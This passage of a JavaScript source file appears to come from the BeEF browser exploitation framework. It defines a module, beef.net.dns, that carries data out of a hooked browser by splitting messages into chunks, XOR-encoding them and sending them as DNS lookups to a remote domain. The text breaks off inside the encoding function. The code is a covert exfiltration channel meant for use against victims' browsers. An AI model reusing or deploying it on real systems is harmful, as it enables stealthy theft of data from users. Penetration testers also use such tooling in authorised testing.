// // Copyright 2012 Wade Alcorn wade@bindshell.net // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // /*! * @literal object: beef.net.dns * * request object structure: * + msgId: {Integer} Unique message ID for the request. * + domain: {String} Remote domain to retrieve the data. * + wait: {Integer} Wait time between requests (milliseconds) - NOT IMPLEMENTED * + callback: {Function} Callback function to receive the number of requests sent. */ beef.net.dns = { handler: "dns", send: function(msgId, messageString, domain, wait, callback) { var dom = document.createElement('b'); // DNS settings var max_domain_length = 255-5-5-5-5-5; var max_segment_length = max_domain_length - domain.length; // splits strings into chunks String.prototype.chunk = function(n) { if (typeof n=='undefined') n=100; return this.match(RegExp('.{1,'+n+'}','g')); }; // XORs a string xor_encrypt = function(str, key) { var result=""; for(i=0;i